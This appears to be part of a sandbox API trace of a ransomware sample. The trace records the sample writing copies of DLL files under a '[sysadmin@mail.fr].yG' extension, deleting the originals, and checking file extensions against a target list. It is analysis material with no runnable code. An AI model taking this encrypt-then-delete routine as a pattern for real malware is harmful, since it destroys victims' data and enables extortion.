	[0055.591] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.591] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x116, lpOverlapped=0x0) returned 1
	[0055.591] SetEndOfFile (hFile=0x334) returned 1
	[0055.591] CloseHandle (hObject=0x334) returned 1
	[0055.593] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.593] SetEndOfFile (hFile=0x2ec) returned 1
	[0055.594] CloseHandle (hObject=0x2ec) returned 1
	[0055.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.594] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1
	[0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0055.595] lstrlenW (lpString=".doc") returned 4
	[0055.595] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.595] lstrlenW (lpString=".docx") returned 5
	[0055.595] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.595] lstrlenW (lpString=".pdf") returned 4
	[0055.595] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.595] lstrlenW (lpString=".xls") returned 4
	[0055.595] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.595] lstrlenW (lpString=".xlsx") returned 5
	[0055.595] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.595] lstrlenW (lpString=".ppt") returned 4
	[0055.595] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0055.595] lstrlenW (lpString=".zip") returned 4
	[0055.595] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.595] lstrlenW (lpString=".rar") returned 4
	[0055.595] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.595] lstrlenW (lpString=".bz2") returned 4
	[0055.595] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.595] lstrlenW (lpString=".7z") returned 3
	[0055.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0055.595] lstrlenW (lpString=".dbf") returned 4
	[0055.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0055.595] lstrlenW (lpString=".1cd") returned 4
	[0055.595] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0055.595] lstrlenW (lpString=".jpg") returned 4
	[0055.595] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.602] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.602] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0055.603] GetLastError () returned 0x0
	[0055.603] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x5ac0, lpOverlapped=0x0) returned 1
	[0055.608] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x5ad0, lpOverlapped=0x0) returned 1
	[0055.609] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.609] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x116, lpOverlapped=0x0) returned 1
	[0055.609] SetEndOfFile (hFile=0x390) returned 1
	[0055.609] CloseHandle (hObject=0x390) returned 1
	[0055.610] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.610] SetEndOfFile (hFile=0x2f0) returned 1
	[0055.611] CloseHandle (hObject=0x2f0) returned 1
	[0055.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.612] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1
	[0055.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0055.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0055.612] lstrlenW (lpString=".doc") returned 4
	[0055.612] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.612] lstrlenW (lpString=".docx") returned 5
	[0055.612] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.612] lstrlenW (lpString=".pdf") returned 4
	[0055.612] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.612] lstrlenW (lpString=".xls") returned 4
	[0055.612] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.612] lstrlenW (lpString=".xlsx") returned 5
	[0055.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.612] lstrlenW (lpString=".ppt") returned 4
	[0055.612] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0055.612] lstrlenW (lpString=".zip") returned 4
	[0055.612] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.612] lstrlenW (lpString=".rar") returned 4
	[0055.612] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.612] lstrlenW (lpString=".bz2") returned 4
	[0055.612] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.612] lstrlenW (lpString=".7z") returned 3
	[0055.612] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0055.613] lstrlenW (lpString=".dbf") returned 4
	[0055.613] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0055.613] lstrlenW (lpString=".1cd") returned 4
	[0055.613] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0055.613] lstrlenW (lpString=".jpg") returned 4
	[0055.613] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.613] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.613] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0055.613] GetLastError () returned 0x0
	[0055.613] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0055.910] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0055.911] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.911] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x114, lpOverlapped=0x0) returned 1
	[0055.911] SetEndOfFile (hFile=0x390) returned 1
	[0055.912] CloseHandle (hObject=0x390) returned 1
	[0055.913] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.913] SetEndOfFile (hFile=0x2f0) returned 1
	[0055.914] CloseHandle (hObject=0x2f0) returned 1
	[0055.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1
	[0055.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0055.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0055.914] lstrlenW (lpString=".doc") returned 4
	[0055.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.914] lstrlenW (lpString=".docx") returned 5
	[0055.914] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.914] lstrlenW (lpString=".pdf") returned 4
	[0055.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.915] lstrlenW (lpString=".xls") returned 4
	[0055.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.915] lstrlenW (lpString=".xlsx") returned 5
	[0055.915] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.915] lstrlenW (lpString=".ppt") returned 4
	[0055.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0055.915] lstrlenW (lpString=".zip") returned 4
	[0055.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.915] lstrlenW (lpString=".rar") returned 4
	[0055.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.915] lstrlenW (lpString=".bz2") returned 4
	[0055.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.915] lstrlenW (lpString=".7z") returned 3
	[0055.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0055.915] lstrlenW (lpString=".dbf") returned 4
	[0055.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0055.915] lstrlenW (lpString=".1cd") returned 4
	[0055.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0055.915] lstrlenW (lpString=".jpg") returned 4
	[0055.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0055.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1
	[0055.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0055.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0055.916] lstrlenW (lpString=".doc") returned 4
	[0055.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.917] lstrlenW (lpString=".docx") returned 5
	[0055.917] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0055.917] lstrlenW (lpString=".pdf") returned 4
	[0055.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.917] lstrlenW (lpString=".xls") returned 4
	[0055.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.917] lstrlenW (lpString=".xlsx") returned 5
	[0055.917] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0055.917] lstrlenW (lpString=".ppt") returned 4
	[0055.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0055.917] lstrlenW (lpString=".zip") returned 4
	[0055.917] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.917] lstrlenW (lpString=".rar") returned 4
	[0055.917] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.917] lstrlenW (lpString=".bz2") returned 4
	[0055.917] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.917] lstrlenW (lpString=".7z") returned 3
	[0055.917] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0055.917] lstrlenW (lpString=".dbf") returned 4
	[0055.917] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0055.917] lstrlenW (lpString=".1cd") returned 4
	[0055.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0055.917] lstrlenW (lpString=".jpg") returned 4
	[0055.917] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.919] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.919] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0055.919] GetLastError () returned 0x0
	[0055.919] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x7d0d8, lpOverlapped=0x0) returned 1
	[0055.941] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x7d0e0, lpOverlapped=0x0) returned 1
	[0055.948] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.948] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0055.948] SetEndOfFile (hFile=0x390) returned 1
	[0055.949] CloseHandle (hObject=0x390) returned 1
	[0056.255] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.255] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.259] CloseHandle (hObject=0x2f0) returned 1
	[0056.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.264] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1
	[0056.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0056.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0056.264] lstrlenW (lpString=".doc") returned 4
	[0056.264] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.264] lstrlenW (lpString=".docx") returned 5
	[0056.264] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0056.264] lstrlenW (lpString=".pdf") returned 4
	[0056.264] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.264] lstrlenW (lpString=".xls") returned 4
	[0056.264] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.264] lstrlenW (lpString=".xlsx") returned 5
	[0056.264] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0056.264] lstrlenW (lpString=".ppt") returned 4
	[0056.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0056.264] lstrlenW (lpString=".zip") returned 4
	[0056.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.264] lstrlenW (lpString=".rar") returned 4
	[0056.264] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.264] lstrlenW (lpString=".bz2") returned 4
	[0056.264] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.265] lstrlenW (lpString=".7z") returned 3
	[0056.265] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0056.265] lstrlenW (lpString=".dbf") returned 4
	[0056.265] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0056.265] lstrlenW (lpString=".1cd") returned 4
	[0056.265] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0056.265] lstrlenW (lpString=".jpg") returned 4
	[0056.265] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.265] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.265] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.266] GetLastError () returned 0x0
	[0056.266] ReadFile (in: hFile=0x304, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0xdc4b8, lpOverlapped=0x0) returned 1
	[0056.313] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xdc4c0, lpOverlapped=0x0) returned 1
	[0056.328] ReadFile (in: hFile=0x304, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.328] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0056.328] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.328] CloseHandle (hObject=0x2f0) returned 1
	[0056.342] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.342] SetEndOfFile (hFile=0x304) returned 1
	[0056.574] CloseHandle (hObject=0x304) returned 1
	[0056.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.574] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1
	[0056.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0056.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0056.575] lstrlenW (lpString=".doc") returned 4
	[0056.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.575] lstrlenW (lpString=".docx") returned 5
	[0056.575] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0056.575] lstrlenW (lpString=".pdf") returned 4
	[0056.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.575] lstrlenW (lpString=".xls") returned 4
	[0056.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.575] lstrlenW (lpString=".xlsx") returned 5
	[0056.575] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0056.575] lstrlenW (lpString=".ppt") returned 4
	[0056.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
